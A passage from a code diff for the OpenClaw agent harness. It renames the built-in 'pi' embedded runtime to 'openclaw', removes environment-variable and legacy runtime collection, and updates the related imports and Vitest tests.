OpenClawConfig; expect( - collectConfiguredAgentHarnessRuntimes( - config, - {}, - { - includeEnvRuntime: false, - includeImplicitRuntimePreferences: false, - }, - ), + collectConfiguredAgentHarnessRuntimes(config, { + includeImplicitRuntimePreferences: false, + }), ).toEqual(["codex"]); }); @@ -64,26 +57,22 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { }, } as OpenClawConfig; - expect(collectConfiguredAgentHarnessRuntimes(config, {}, { includeEnvRuntime: false })).toEqual( - ["codex"], - ); + expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual(["codex"]); }); - it("respects explicit Pi runtime policy on selectable OpenAI agent models", () => { + it("respects explicit OpenClaw runtime policy on selectable OpenAI agent models", () => { const config = { agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" }, models: { - "openai/gpt-5.5": { agentRuntime: { id: "pi" } }, + "openai/gpt-5.5": { agentRuntime: { id: "openclaw" } }, }, }, }, } as OpenClawConfig; - expect(collectConfiguredAgentHarnessRuntimes(config, {}, { includeEnvRuntime: false })).toEqual( - [], - ); + expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual([]); }); it("does not infer Codex for custom OpenAI-compatible base URLs", () => { @@ -105,9 +94,7 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { }, } as OpenClawConfig; - expect(collectConfiguredAgentHarnessRuntimes(config, {}, { includeEnvRuntime: false })).toEqual( - [], - ); + expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual([]); }); it("ignores malformed agents.list while scanning best-effort config", () => { @@ -129,8 +116,6 @@ describe("collectConfiguredAgentHarnessRuntimes", () => { }, } as unknown as OpenClawConfig; - expect(collectConfiguredAgentHarnessRuntimes(config, {}, { includeEnvRuntime: false })).toEqual( - ["claude"], - ); + expect(collectConfiguredAgentHarnessRuntimes(config)).toEqual(["claude"]); }); }); diff --git a/src/agents/harness-runtimes.ts b/src/agents/harness-runtimes.ts index e69d1048d4f..a930ed1cbfa 100644 --- a/src/agents/harness-runtimes.ts +++ b/src/agents/harness-runtimes.ts @@ -1,19 +1,20 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; import { isRecord } from "../utils.js"; +import { OPENCLAW_AGENT_RUNTIME_ID, isDefaultAgentRuntimeId } from "./agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "./agent-runtime-id.js"; import { resolveAgentHarnessPolicy } from "./harness/policy.js"; -import { normalizeEmbeddedAgentRuntime } from "./pi-embedded-runner/runtime.js"; import { normalizeProviderId } from "./provider-id.js"; -function normalizeRuntimeId(value: unknown): string | undefined { - if (typeof value !== "string") { - return undefined; - } - const lower = normalizeOptionalLowercaseString(value); - if (!lower) { - return undefined; - } - return normalizeOptionalLowercaseString(normalizeEmbeddedAgentRuntime(lower)); +function normalizeConfiguredRuntimeId(value: unknown): string | undefined { + return normalizeOptionalAgentRuntimeId(value); +} + +function isSelectablePluginRuntime(runtime: string | undefined): runtime is string { + return ( + !!runtime && + !isDefaultAgentRuntimeId(runtime) && + normalizeOptionalAgentRuntimeId(runtime) !== OPENCLAW_AGENT_RUNTIME_ID + ); } function listAgentModelRefs(value: unknown): string[] { @@ -79,19 +80,19 @@ function resolveConfiguredModelHarnessRuntime(params: { if (!params.includeImplicitRuntimePreferences && policy.runtimeSource === "implicit") { return undefined; } - const runtime = normalizeRuntimeId(policy.runtime); - return runtime && runtime !== "auto" && runtime !== "pi" ? runtime : undefined; + const runtime = normalizeConfiguredRuntimeId(policy.runtime); + return isSelectablePluginRuntime(runtime) ? runtime : undefined; } function pushConfiguredModelRuntimeIds(config: OpenClawConfig, runtimes: Set): void { for (const providerConfig of Object.values(config.models?.providers ?? {})) { - const providerRuntime = normalizeRuntimeId(providerConfig?.agentRuntime?.id); - if (providerRuntime && providerRuntime !== "auto" && providerRuntime !== "pi") { + const providerRuntime = normalizeConfiguredRuntimeId(providerConfig?.agentRuntime?.id); + if (isSelectablePluginRuntime(providerRuntime)) { runtimes.add(providerRuntime); } for (const modelConfig of providerConfig?.models ?? []) { - const modelRuntime = normalizeRuntimeId(modelConfig?.agentRuntime?.id); - if (modelRuntime && modelRuntime !== "auto" && modelRuntime !== "pi") { + const modelRuntime = normalizeConfiguredRuntimeId(modelConfig?.agentRuntime?.id); + if (isSelectablePluginRuntime(modelRuntime)) { runtimes.add(modelRuntime); } } @@ -104,10 +105,10 @@ function pushConfiguredModelRuntimeIds(config: OpenClawConfig, runtimes: Set): void { - const pushRuntimeId = (value: unknown) => { - const runtime = normalizeRuntimeId(value); - if (runtime && runtime !== "auto" && runtime !== "pi") { - runtimes.add(runtime); - } - }; - - pushRuntimeId(config.agents?.defaults?.agentRuntime?.id); - const agents = Array.isArray(config.agents?.list) ? config.agents.list : []; - for (const agent of agents) { - pushRuntimeId(agent.agentRuntime?.id); - } -} - export type ConfiguredAgentHarnessRuntimeOptions = { - includeEnvRuntime?: boolean; includeImplicitRuntimePreferences?: boolean; - includeLegacyAgentRuntimes?: boolean; }; export function collectConfiguredAgentHarnessRuntimes( config: OpenClawConfig, - env: NodeJS.ProcessEnv, options: ConfiguredAgentHarnessRuntimeOptions = {}, ): string[] { const runtimes = new Set(); - const includeEnvRuntime = options.includeEnvRuntime ?? true; const includeImplicitRuntimePreferences = options.includeImplicitRuntimePreferences ?? true; - const includeLegacyAgentRuntimes = options.includeLegacyAgentRuntimes ?? true; - if (includeEnvRuntime) { - const envRuntime = normalizeRuntimeId(env.OPENCLAW_AGENT_RUNTIME); - if (envRuntime && envRuntime !== "auto" && envRuntime !== "pi") { - runtimes.add(envRuntime); - } - } pushConfiguredModelRuntimeIds(config, runtimes); - if (includeLegacyAgentRuntimes) { - pushLegacyAgentRuntimeIds(config, runtimes); - } pushConfiguredAgentModelRuntimeIds(config, runtimes, includeImplicitRuntimePreferences); return [...runtimes].toSorted((left, right) => left.localeCompare(right)); diff --git a/src/agents/harness/builtin-openclaw.ts b/src/agents/harness/builtin-openclaw.ts new file mode 100644 index 00000000000..c76fbaf6c5a --- /dev/null +++ b/src/agents/harness/builtin-openclaw.ts @@ -0,0 +1,13 @@ +import { OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST } from "../../context-engine/host-compat.js"; +import { runEmbeddedAttempt } from "../embedded-agent-runner/run/attempt.js"; +import type { AgentHarness } from "./types.js"; + +export function createOpenClawAgentHarness(): AgentHarness { + return { + id: "openclaw", + label: "OpenClaw embedded agent", + contextEngineHostCapabilities: OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST.capabilities, + supports: () => ({ supported: true, priority: 0 }), + runAttempt: runEmbeddedAttempt, + }; +} diff --git a/src/agents/harness/builtin-pi.ts b/src/agents/harness/builtin-pi.ts deleted file mode 100644 index 25dd1c1eada..00000000000 --- a/src/agents/harness/builtin-pi.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { PI_EMBEDDED_CONTEXT_ENGINE_HOST } from "../../context-engine/host-compat.js"; -import { runEmbeddedAttempt } from "../pi-embedded-runner/run/attempt.js"; -import type { AgentHarness } from "./types.js"; - -export function createPiAgentHarness(): AgentHarness { - return { - id: "pi", - label: "PI embedded agent", - contextEngineHostCapabilities: PI_EMBEDDED_CONTEXT_ENGINE_HOST.capabilities, - supports: () => ({ supported: true, priority: 0 }), - runAttempt: runEmbeddedAttempt, - }; -} diff --git a/src/agents/harness/codex-app-server-extensions.ts b/src/agents/harness/codex-app-server-extensions.ts index aff8f3a7911..9ab838d4759 100644 --- a/src/agents/harness/codex-app-server-extensions.ts +++ b/src/agents/harness/codex-app-server-extensions.ts @@ -1,4 +1,3 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { listCodexAppServerExtensionFactories } from "../../plugins/codex-app-server-extension-factory.js"; import type { @@ -7,6 +6,7 @@ import type { CodexAppServerExtensionRuntime, CodexAppServerToolResultEvent, } from "../../plugins/codex-app-server-extension-types.js"; +import type { AgentToolResult } from "../runtime/index.js"; const log = createSubsystemLogger("agents/harness"); diff --git a/src/agents/harness/context-engine-lifecycle.test.ts b/src/agents/harness/context-engine-lifecycle.test.ts index e28ae2ff4ae..7ea16ceedaa 100644 --- a/src/agents/harness/context-engine-lifecycle.test.ts +++ b/src/agents/harness/context-engine-lifecycle.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it, vi } from "vitest"; import type { ContextEngine } from "../../context-engine/types.js"; import { OPENCLAW_RUNTIME_CONTEXT_CUSTOM_TYPE } from "../internal-runtime-context.js"; diff --git a/src/agents/harness/context-engine-lifecycle.ts b/src/agents/harness/context-engine-lifecycle.ts index 53abe8bc3d4..470864913e9 100644 --- a/src/agents/harness/context-engine-lifecycle.ts +++ b/src/agents/harness/context-engine-lifecycle.ts @@ -1,12 +1,12 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import type { MemoryCitationsMode } from "../../config/types.memory.js"; import type { ContextEngine, ContextEngineRuntimeContext } from "../../context-engine/types.js"; -import { stripRuntimeContextCustomMessages } from "../internal-runtime-context.js"; -import { runContextEngineMaintenance } from "../pi-embedded-runner/context-engine-maintenance.js"; +import { runContextEngineMaintenance } from "../embedded-agent-runner/context-engine-maintenance.js"; import { buildAfterTurnRuntimeContext, buildAfterTurnRuntimeContextFromUsage, -} from "../pi-embedded-runner/run/attempt.prompt-helpers.js"; +} from "../embedded-agent-runner/run/attempt.prompt-helpers.js"; +import { stripRuntimeContextCustomMessages } from "../internal-runtime-context.js"; +import type { AgentMessage } from "../runtime/index.js"; import type { SessionWriteLockAcquireTimeoutConfig } from "../session-write-lock.js"; export type HarnessContextEngine = ContextEngine; diff --git a/src/agents/harness/hook-helpers.ts b/src/agents/harness/hook-helpers.ts index 46cc4573acb..cf13fa16932 100644 --- a/src/agents/harness/hook-helpers.ts +++ b/src/agents/harness/hook-helpers.ts @@ -1,7 +1,7 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; -import { consumeAdjustedParamsForToolCall } from "../pi-tools.before-tool-call.js"; +import { consumeAdjustedParamsForToolCall } from "../agent-tools.before-tool-call.js"; +import type { AgentMessage } from "../runtime/index.js"; const log = createSubsystemLogger("agents/harness"); diff --git a/src/agents/harness/lifecycle-hook-helpers.ts b/src/agents/harness/lifecycle-hook-helpers.ts index a2b2547aefb..b3c4da61938 100644 --- a/src/agents/harness/lifecycle-hook-helpers.ts +++ b/src/agents/harness/lifecycle-hook-helpers.ts @@ -20,6 +20,10 @@ const FINALIZE_RETRY_BUDGET_MAX_ENTRIES = 2048; type AgentHarnessHookRunner = ReturnType; type FinalizeRetryBudget = Map>; +export function getAgentHarnessHookRunner(): AgentHarnessHookRunner { + return getGlobalHookRunner(); +} + function getFinalizeRetryBudget(): FinalizeRetryBudget { return resolveGlobalSingleton(FINALIZE_RETRY_BUDGET_KEY, () => new Map()); } diff --git a/src/agents/harness/native-hook-relay.ts b/src/agents/harness/native-hook-relay.ts index d57011fe3d6..d7686e2ff31 100644 --- a/src/agents/harness/native-hook-relay.ts +++ b/src/agents/harness/native-hook-relay.ts @@ -15,9 +15,7 @@ import { privateFileStoreSync } from "../../infra/private-file-store.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { hasGlobalHooks } from "../../plugins/hook-runner-global.js"; import { PluginApprovalResolutions } from "../../plugins/types.js"; -import { uniqueValues } from "../../shared/string-normalization.js"; -import { asBoolean } from "../../utils/boolean.js"; -import { hasBeforeToolCallPolicy, runBeforeToolCallHook } from "../pi-tools.before-tool-call.js"; +import { hasBeforeToolCallPolicy, runBeforeToolCallHook } from "../agent-tools.before-tool-call.js"; import { stableStringify } from "../stable-stringify.js"; import { resolveToolLoopDetectionConfig } from "../tool-loop-detection-config.js"; import { normalizeToolName } from "../tool-policy.js"; @@ -1537,7 +1535,7 @@ function normalizeCodexHookMetadata(rawPayload: JsonValue): NativeHookRelayInvoc if (permissionMode) { metadata.permissionMode = permissionMode; } - const stopHookActive = asBoolean(payload.stop_hook_active); + const stopHookActive = readOptionalBoolean(payload.stop_hook_active); if (stopHookActive !== undefined) { metadata.stopHookActive = stopHookActive; } @@ -1813,7 +1811,7 @@ function normalizeAllowedEvents( if (!events?.length) { return NATIVE_HOOK_RELAY_EVENTS; } - return uniqueValues(events); + return [...new Set(events)]; } function normalizePositiveInteger(value: number | undefined, fallback: number): number { @@ -1866,6 +1864,10 @@ function readOptionalString(value: unknown): string | undefined { return typeof value === "string" && value.length > 0 ? value : undefined; } +function readOptionalBoolean(value: unknown): boolean | undefined { + return typeof value === "boolean" ? value : undefined; +} + function isJsonValue(value: unknown): value is JsonValue { const stack: Array<{ value: unknown; depth: number }> = [{ value, depth: 0 }]; let nodes = 0; diff --git a/src/agents/harness/policy.ts b/src/agents/harness/policy.ts index c931b606591..0f7edebe529 100644 --- a/src/agents/harness/policy.ts +++ b/src/agents/harness/policy.ts @@ -1,13 +1,11 @@ import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { AUTO_AGENT_RUNTIME_ID, type EmbeddedAgentRuntime } from "../agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "../agent-runtime-id.js"; import { resolveModelRuntimePolicy } from "../model-runtime-policy.js"; import { isOpenAICodexProvider, openAIProviderUsesCodexRuntimeByDefault, } from "../openai-codex-routing.js"; -import { - normalizeEmbeddedAgentRuntime, - type EmbeddedAgentRuntime, -} from "../pi-embedded-runner/runtime.js"; export type AgentHarnessPolicy = { runtime: EmbeddedAgentRuntime; @@ -29,12 +27,12 @@ export function resolveAgentHarnessPolicy(params: { agentId: params.agentId, sessionKey: params.sessionKey, }); - const configuredRuntime = configured.policy?.id?.trim(); + const configuredRuntime = normalizeOptionalAgentRuntimeId(configured.policy?.id); const runtimeSource = configured.source ?? "implicit"; const runtime = configuredRuntime && configuredRuntime !== "default" - ? normalizeEmbeddedAgentRuntime(configuredRuntime) - : "auto"; + ? configuredRuntime + : AUTO_AGENT_RUNTIME_ID; if ( openAIProviderUsesCodexRuntimeByDefault({ provider: params.provider, config: params.config }) ) { diff --git a/src/agents/harness/prompt-compaction-hook-helpers.ts b/src/agents/harness/prompt-compaction-hook-helpers.ts index a9655ffea23..36f954f4b96 100644 --- a/src/agents/harness/prompt-compaction-hook-helpers.ts +++ b/src/agents/harness/prompt-compaction-hook-helpers.ts @@ -1,4 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { getGlobalHookRunner } from "../../plugins/hook-runner-global.js"; import type { @@ -6,6 +5,7 @@ import type { PluginHookBeforePromptBuildResult, } from "../../plugins/types.js"; import { joinPresentTextSegments } from "../../shared/text/join-segments.js"; +import type { AgentMessage } from "../runtime/index.js"; import { buildAgentHookContext, type AgentHarnessHookContext } from "./hook-context.js"; const log = createSubsystemLogger("agents/harness"); @@ -40,9 +40,9 @@ export async function resolveAgentHarnessBeforePromptBuildResult(params: { return undefined; }) : undefined; - const legacyResult = hookRunner.hasHooks("before_agent_start") + const beforeAgentStartResult = hookRunner.hasHooks("before_agent_start") ? await hookRunner.runBeforeAgentStart(promptEvent, hookCtx).catch((error) => { - log.warn(`before_agent_start hook (legacy prompt build path) failed: ${String(error)}`); + log.warn(`deprecated before_agent_start hook failed during prompt build: ${String(error)}`); return undefined; }) : undefined; @@ -50,22 +50,22 @@ export async function resolveAgentHarnessBeforePromptBuildResult(params: { const systemPrompt = resolvePromptBuildSystemPrompt({ developerInstructions: params.developerInstructions, promptBuildResult, - legacyResult, + beforeAgentStartResult, }); return { prompt: joinPresentTextSegments([ promptBuildResult?.prependContext, - legacyResult?.prependContext, + beforeAgentStartResult?.prependContext, params.prompt, ]) ?? params.prompt, developerInstructions: joinPresentTextSegments([ promptBuildResult?.prependSystemContext, - legacyResult?.prependSystemContext, + beforeAgentStartResult?.prependSystemContext, systemPrompt, promptBuildResult?.appendSystemContext, - legacyResult?.appendSystemContext, + beforeAgentStartResult?.appendSystemContext, ]) ?? systemPrompt, }; } @@ -73,13 +73,13 @@ export async function resolveAgentHarnessBeforePromptBuildResult(params: { function resolvePromptBuildSystemPrompt(params: { developerInstructions: string; promptBuildResult?: PluginHookBeforePromptBuildResult; - legacyResult?: PluginHookBeforeAgentStartResult; + beforeAgentStartResult?: PluginHookBeforeAgentStartResult; }): string { if (typeof params.promptBuildResult?.systemPrompt === "string") { return params.promptBuildResult.systemPrompt; } - if (typeof params.legacyResult?.systemPrompt === "string") { - return params.legacyResult.systemPrompt; + if (typeof params.beforeAgentStartResult?.systemPrompt === "string") { + return params.beforeAgentStartResult.systemPrompt; } return params.developerInstructions; } diff --git a/src/agents/harness/registry.test.ts b/src/agents/harness/registry.test.ts index 37a33ad67b7..4b1bc28a099 100644 --- a/src/agents/harness/registry.test.ts +++ b/src/agents/harness/registry.test.ts @@ -127,7 +127,9 @@ describe("agent harness registry", () => { it("keeps model-specific harnesses behind plugin registration in auto mode", () => { process.env.OPENCLAW_AGENT_RUNTIME = "auto"; - expect(selectAgentHarness({ provider: "plugin-models", modelId: "custom-1" }).id).toBe("pi"); + expect(selectAgentHarness({ provider: "plugin-models", modelId: "custom-1" }).id).toBe( + "openclaw", + ); registerAgentHarness(makeHarness("custom", { providers: ["plugin-models"] }), { ownerPluginId: "plugin-a", @@ -138,10 +140,12 @@ describe("agent harness registry", () => { ); }); - it("falls back to PI for other models", () => { + it("falls back to OpenClaw for other models", () => { process.env.OPENCLAW_AGENT_RUNTIME = "auto"; - expect(selectAgentHarness({ provider: "anthropic", modelId: "sonnet-4.6" }).id).toBe("pi"); + expect(selectAgentHarness({ provider: "anthropic", modelId: "sonnet-4.6" }).id).toBe( + "openclaw", + ); }); it("lets a plugin harness win in auto mode by priority", () => { @@ -153,7 +157,7 @@ describe("agent harness registry", () => { expect(selectAgentHarness({ provider: "codex", modelId: "gpt-5.4" }).id).toBe("plugin-harness"); }); - it("honors explicit provider PI runtime policy", () => { + it("honors explicit provider OpenClaw runtime policy", () => { registerAgentHarness(makeHarness("plugin-harness", { priority: 200 }), { ownerPluginId: "plugin-a", }); @@ -162,9 +166,9 @@ describe("agent harness registry", () => { selectAgentHarness({ provider: "codex", modelId: "gpt-5.4", - config: providerRuntimeConfig("codex", "pi"), + config: providerRuntimeConfig("codex", "openclaw"), }).id, - ).toBe("pi"); + ).toBe("openclaw"); }); it("honors explicit provider plugin runtime policy when the plugin harness is registered", () => { diff --git a/src/agents/harness/runtime-plugin.test.ts b/src/agents/harness/runtime-plugin.test.ts index 3c14e22da64..e6ce0931457 100644 --- a/src/agents/harness/runtime-plugin.test.ts +++ b/src/agents/harness/runtime-plugin.test.ts @@ -16,6 +16,7 @@ vi.mock("../../plugins/providers.js", () => ({ resolveActivatableProviderOwnerPluginIds: mocks.resolveActivatableProviderOwnerPluginIds, resolveBundledProviderCompatPluginIds: mocks.resolveBundledProviderCompatPluginIds, resolveOwningPluginIdsForProvider: mocks.resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef: mocks.resolveOwningPluginIdsForProvider, })); describe("ensureSelectedAgentHarnessPlugin", () => { @@ -199,46 +200,6 @@ describe("ensureSelectedAgentHarnessPlugin", () => { ); }); - it("honors bundled discovery compat when a legacy allowlist omits the Codex harness", async () => { - await ensureSelectedAgentHarnessPlugin({ - provider: "openai-codex", - modelId: "gpt-5.5-pro", - config: { - plugins: { - allow: ["telegram"], - bundledDiscovery: "compat", - entries: { - telegram: { enabled: true }, - }, - }, - } as OpenClawConfig, - workspaceDir: "/tmp/workspace", - }); - - expect(mocks.resolveOwningPluginIdsForProvider).toHaveBeenCalledWith({ - provider: "openai-codex", - config: expect.any(Object), - workspaceDir: "/tmp/workspace", - }); - expect(mocks.ensurePluginRegistryLoaded).toHaveBeenCalledWith( - expect.objectContaining({ - scope: "all", - workspaceDir: "/tmp/workspace", - onlyPluginIds: ["codex", "openai"], - config: expect.objectContaining({ - plugins: expect.objectContaining({ - allow: ["telegram", "codex", "openai"], - entries: expect.objectContaining({ - codex: expect.objectContaining({ enabled: true }), - openai: expect.objectContaining({ enabled: true }), - telegram: expect.objectContaining({ enabled: true }), - }), - }), - }), - }), - ); - }); - it("keeps a Codex scoped load narrow when the provider has no owner plugin", async () => { mocks.resolveOwningPluginIdsForProvider.mockReturnValueOnce(undefined); @@ -260,7 +221,7 @@ describe("ensureSelectedAgentHarnessPlugin", () => { ); }); - it("keeps custom OpenAI-compatible providers on Pi when no runtime override is set", async () => { + it("keeps custom OpenAI-compatible providers on embedded OpenClaw when no runtime override is set", async () => { await ensureSelectedAgentHarnessPlugin({ provider: "openai", modelId: "gpt-5.5", diff --git a/src/agents/harness/runtime-plugin.ts b/src/agents/harness/runtime-plugin.ts index 36b5286707e..a9cc9b5761e 100644 --- a/src/agents/harness/runtime-plugin.ts +++ b/src/agents/harness/runtime-plugin.ts @@ -3,15 +3,27 @@ import { withActivatedPluginIds } from "../../plugins/activation-context.js"; import { resolveActivatableProviderOwnerPluginIds, resolveBundledProviderCompatPluginIds, - resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef, } from "../../plugins/providers.js"; -import { normalizeUniqueStringEntries } from "../../shared/string-normalization.js"; +import { isDefaultAgentRuntimeId } from "../agent-runtime-id.js"; +import { normalizeOptionalAgentRuntimeId } from "../agent-runtime-id.js"; import { resolveAgentHarnessPolicy } from "./policy.js"; -function restrictiveAllowlistOmitsPlugin(config: OpenClawConfig | undefined, pluginId: string) { - if (config?.plugins?.bundledDiscovery === "compat") { - return false; +function dedupePluginIds(values: readonly string[]): string[] { + const seen = new Set(); + const result: string[] = []; + for (const value of values) { + const pluginId = value.trim(); + if (!pluginId || seen.has(pluginId)) { + continue; + } + seen.add(pluginId); + result.push(pluginId); } + return result; +} + +function restrictiveAllowlistOmitsPlugin(config: OpenClawConfig | undefined, pluginId: string) { const allow = config?.plugins?.allow ?? []; return allow.length > 0 && !allow.includes(pluginId); } @@ -24,8 +36,8 @@ function resolveCodexHarnessPluginIds(params: { if (restrictiveAllowlistOmitsPlugin(params.config, "codex")) { return ["codex"]; } - const providerOwnerPluginIds = normalizeUniqueStringEntries( - resolveOwningPluginIdsForProvider({ + const providerOwnerPluginIds = dedupePluginIds( + resolveOwningPluginIdsForProviderRef({ provider: params.provider, config: params.config, workspaceDir: params.workspaceDir, @@ -34,7 +46,7 @@ function resolveCodexHarnessPluginIds(params: { if (providerOwnerPluginIds.length === 0) { return ["codex"]; } - const safeProviderOwnerPluginIds = normalizeUniqueStringEntries([ + const safeProviderOwnerPluginIds = dedupePluginIds([ ...resolveBundledProviderCompatPluginIds({ config: params.config, workspaceDir: params.workspaceDir, @@ -46,7 +58,7 @@ function resolveCodexHarnessPluginIds(params: { workspaceDir: params.workspaceDir, }), ]); - return normalizeUniqueStringEntries([ + return dedupePluginIds([ "codex", ...providerOwnerPluginIds.filter( (pluginId) => pluginId !== "codex" && safeProviderOwnerPluginIds.includes(pluginId), @@ -65,10 +77,7 @@ function withRuntimePluginIdsAllowed(params: { if (restrictiveAllowlistOmitsPlugin(params.config, params.requiredPluginId)) { return params.config; } - const allow = normalizeUniqueStringEntries([ - ...(params.config?.plugins?.allow ?? []), - ...params.pluginIds, - ]); + const allow = dedupePluginIds([...(params.config?.plugins?.allow ?? []), ...params.pluginIds]); return { ...params.config, plugins: { @@ -87,7 +96,7 @@ export async function ensureSelectedAgentHarnessPlugin(params: { agentHarnessRuntimeOverride?: string; workspaceDir: string; }): Promise { - const runtimeOverride = params.agentHarnessRuntimeOverride?.trim(); + const runtimeOverride = normalizeOptionalAgentRuntimeId(params.agentHarnessRuntimeOverride); const policy = resolveAgentHarnessPolicy({ provider: params.provider, modelId: params.modelId, @@ -96,9 +105,7 @@ export async function ensureSelectedAgentHarnessPlugin(params: { sessionKey: params.sessionKey, }); const runtime = - runtimeOverride && runtimeOverride !== "auto" && runtimeOverride !== "default" - ? runtimeOverride - : policy.runtime; + runtimeOverride && !isDefaultAgentRuntimeId(runtimeOverride) ? runtimeOverride : policy.runtime; if (runtime !== "codex") { return; } diff --git a/src/agents/harness/selection.test.ts b/src/agents/harness/selection.test.ts index bdea61f592c..f182e30d023 100644 --- a/src/agents/harness/selection.test.ts +++ b/src/agents/harness/selection.test.ts @@ -1,11 +1,13 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; +import { OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST } from "../../context-engine/host-compat.js"; import type { ContextEngine } from "../../context-engine/types.js"; +import { testing as cliBackendsTesting } from "../cli-backends.js"; import type { EmbeddedRunAttemptParams, EmbeddedRunAttemptResult, -} from "../pi-embedded-runner/run/types.js"; +} from "../embedded-agent-runner/run/types.js"; import { clearAgentHarnesses, registerAgentHarness } from "./registry.js"; import { maybeCompactAgentHarnessSession, @@ -16,22 +18,17 @@ import { } from "./selection.js"; import type { AgentHarness } from "./types.js"; -const piRunAttempt = vi.fn(async () => createAttemptResult("pi")); +const agentRunAttempt = vi.fn(async () => + createAttemptResult("openclaw"), +); -vi.mock("./builtin-pi.js", () => ({ - createPiAgentHarness: (): AgentHarness => ({ - id: "pi", - label: "PI embedded agent", - contextEngineHostCapabilities: [ - "bootstrap", - "assemble-before-prompt", - "after-turn", - "maintain", - "compact", - "runtime-llm-complete", - ], +vi.mock("./builtin-openclaw.js", () => ({ + createOpenClawAgentHarness: (): AgentHarness => ({ + id: "openclaw", + label: "OpenClaw embedded agent", + contextEngineHostCapabilities: OPENCLAW_EMBEDDED_CONTEXT_ENGINE_HOST.capabilities, supports: () => ({ supported: true, priority: 0 }), - runAttempt: piRunAttempt, + runAttempt: agentRunAttempt, }), })); @@ -39,11 +36,28 @@ const originalRuntime = process.env.OPENCLAW_AGENT_RUNTIME; beforeEach(() => { clearAgentHarnesses(); + cliBackendsTesting.setDepsForTest({ + resolveRuntimeCliBackends: () => [ + { + id: "claude-cli", + modelProvider: "anthropic", + pluginId: "anthropic", + config: { command: "claude" }, + }, + { + id: "google-gemini-cli", + modelProvider: "google", + pluginId: "google", + config: { command: "gemini" }, + }, + ], + }); }); afterEach(() => { clearAgentHarnesses(); - piRunAttempt.mockClear(); + cliBackendsTesting.resetDepsForTest(); + agentRunAttempt.mockClear(); if (originalRuntime == null) { delete process.env.OPENCLAW_AGENT_RUNTIME; } else { @@ -61,7 +75,7 @@ function createAttemptParams(config?: OpenClawConfig): EmbeddedRunAttemptParams timeoutMs: 5_000, provider: "codex", modelId: "gpt-5.4", - model: { id: "gpt-5.4", provider: "codex" } as Model, + model: { id: "gpt-5.4", provider: "codex" } as Model, authStorage: {} as never, authProfileStore: { version: 1, profiles: {} }, modelRegistry: {} as never, @@ -225,33 +239,33 @@ describe("runAgentHarnessAttempt", () => { await expect( runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow('Requested agent harness "codex" is not registered.'); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); - it("falls back to the PI harness in auto mode when no plugin harness matches", async () => { + it("falls back to the OpenClaw harness in auto mode when no plugin harness matches", async () => { const result = await runAgentHarnessAttempt(createAttemptParams()); - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + expect(result.sessionIdUsed).toBe("openclaw"); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); }); - it("allows the selected PI harness to satisfy context-engine pre-prompt assembly", async () => { + it("allows the selected OpenClaw harness to satisfy context-engine pre-prompt assembly", async () => { const result = await runAgentHarnessAttempt({ - ...createAttemptParams(providerRuntimeConfig("codex", "pi")), + ...createAttemptParams(providerRuntimeConfig("codex", "openclaw")), contextEngine: createContextEngineRequiringAssembly(), }); - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + expect(result.sessionIdUsed).toBe("openclaw"); + expect(agentRunAttempt).toHaveBeenCalledTimes(1); }); - it("surfaces an auto-selected plugin harness failure instead of replaying through PI", async () => { + it("surfaces an auto-selected plugin harness failure instead of replaying through OpenClaw", async () => { registerFailingCodexHarness(); await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( "codex startup failed", ); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); it("auto-selects a supporting plugin harness by default", async () => { @@ -260,16 +274,16 @@ describe("runAgentHarnessAttempt", () => { await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( "codex startup failed", ); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); - it("surfaces a forced plugin harness failure instead of replaying through PI", async () => { + it("surfaces a forced plugin harness failure instead of replaying through OpenClaw", async () => { registerFailingCodexHarness(); await expect( runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow("codex startup failed"); - expect(piRunAttempt).not.toHaveBeenCalled(); + expect(agentRunAttempt).not.toHaveBeenCalled(); }); it("rejects the candidate when the forced plugin harness does not support its provider", async () => { @@ -285,7 +299,7 @@ describe("runAgentHarnessAttempt", () => { await expect(runAgentHarnessAttempt(params)).rejects.toThrow( /Requested agent harness "codex" does not support 9router\/cc\/claude-opus-4-6/, ); - 